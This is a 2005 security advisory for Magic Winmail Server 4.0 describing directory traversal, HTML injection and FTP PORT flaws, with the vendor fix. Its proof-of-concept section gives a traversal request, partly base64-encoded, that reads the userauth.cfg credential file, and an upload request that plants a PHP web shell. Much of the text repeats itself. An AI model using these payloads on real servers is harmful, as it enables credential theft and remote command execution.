Magic Winmail Server Multiple Vulnerabilities
BID:12388
Info
Magic Winmail Server Multiple Vulnerabilities
| Bugtraq ID: | 12388 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 27 2005 12:00AM |
| Updated: | Jan 27 2005 12:00AM |
| Credit: | Discovery of these vulnerabilities is credited to Tan Chew Keong. |
| Vulnerable: |
AMAX Information Technologies Inc. Magic Winmail Server 4.0 (Build 1112) |
| Not Vulnerable: |
AMAX Information Technologies Inc. Magic Winmail Server 4.0 (Build 1318) |
Discussion
Magic Winmail Server Multiple Vulnerabilities
Magic Winmail Server is reportedly affected by multiple vulnerabilities.
There are two distinct directory traversal vulnerabilities in the Webmail interface allowing both arbitrary file downloads and uploads. There is also a HTML injection vulnerability in the Webmail interface that could lead to the theft of the administrator's session cookie.
There are several directory traversal vulnerabilities in the IMAP service commands which could permit a malicious user to read arbitrary emails, create or delete arbitrary files on the server and possibly retrieve arbitrary files from the server.
Magic Winmail Server's FTP service also reportedly fails to properly verify the IP address supplied by a user in a PORT command.
Magic Winmail Server version 4.0 (Build 1112) is reportedly affected by these issues; earlier versions may also be vulnerable.
Magic Winmail Server is reportedly affected by multiple vulnerabilities.
There are two distinct directory traversal vulnerabilities in the Webmail interface allowing both arbitrary file downloads and uploads. There is also a HTML injection vulnerability in the Webmail interface that could lead to the theft of the administrator's session cookie.
There are several directory traversal vulnerabilities in the IMAP service commands which could permit a malicious user to read arbitrary emails, create or delete arbitrary files on the server and possibly retrieve arbitrary files from the server.
Magic Winmail Server's FTP service also reportedly fails to properly verify the IP address supplied by a user in a PORT command.
Magic Winmail Server version 4.0 (Build 1112) is reportedly affected by these issues; earlier versions may also be vulnerable.
Exploit / POC
Magic Winmail Server Multiple Vulnerabilities
Exploits are not required.
The following proof of concept is available exploiting the download directory traversal vulnerability to attain the 'userauth.cfg' file:
http://www.example.com:6080/download.php?
sid=656041e927559a2ff& // this must be the current session id
tid=0&folder=INBOX&ix=0&part=1&optype=download&type=nonmime&filename=Ly4uLy4uLy4uLy4uL3VzZXJhdXRoLmNmZw==
// Note Ly4uLy4uLy4uLy4uL3VzZXJhdXRoLmNmZw== is the base64 encoding of /../../../../userauth.cfg
http://www.example.com:6080/download.php?
sid=656041e927559a2ff&
tid=0&folder=INBOX&ix=0&part=1&optype=download&cache=1&filename=/../../../../userauth.cfg
The following proof of concept is available for the upload directory traversal vulnerability:
-----------------------------31140333525651
Content-Disposition: form-data; name="userfile1"; filename="/../../../a.php"
Content-Type: application/download
<?php
system($_GET[cmd]);
?>
Exploits are not required.
The following proof of concept is available exploiting the download directory traversal vulnerability to attain the 'userauth.cfg' file:
http://www.example.com:6080/download.php?
sid=656041e927559a2ff& // this must be the current session id
tid=0&folder=INBOX&ix=0&part=1&optype=download&type=nonmime&filename=Ly4uLy4uLy4uLy4uL3VzZXJhdXRoLmNmZw==
// Note Ly4uLy4uLy4uLy4uL3VzZXJhdXRoLmNmZw== is the base64 encoding of /../../../../userauth.cfg
http://www.example.com:6080/download.php?
sid=656041e927559a2ff&
tid=0&folder=INBOX&ix=0&part=1&optype=download&cache=1&filename=/../../../../userauth.cfg
The following proof of concept is available for the upload directory traversal vulnerability:
-----------------------------31140333525651
Content-Disposition: form-data; name="userfile1"; filename="/../../../a.php"
Content-Type: application/download
<?php
system($_GET[cmd]);
?>
Solution / Fix
Magic Winmail Server Multiple Vulnerabilities
Solution:
The vendor has released Magic Winmail Server 4.0 (Build 1318) addressing these issues.
AMAX Information Technologies Inc. Magic Winmail Server 4.0 (Build 1112)
Solution:
The vendor has released Magic Winmail Server 4.0 (Build 1318) addressing these issues.
AMAX Information Technologies Inc. Magic Winmail Server 4.0 (Build 1112)
-
AMAX Information Technologies Inc. winmail.exe
http://www.magicwinmail.net/download/winmail.exe
References
Magic Winmail Server Multiple Vulnerabilities
References:
References:
- Magic Winmail Server (AMAX Information Technologies Inc.)
- Magic Winmail Server v4.0 Multiple Vulnerabilities (SIG^2 Vulnerability Research)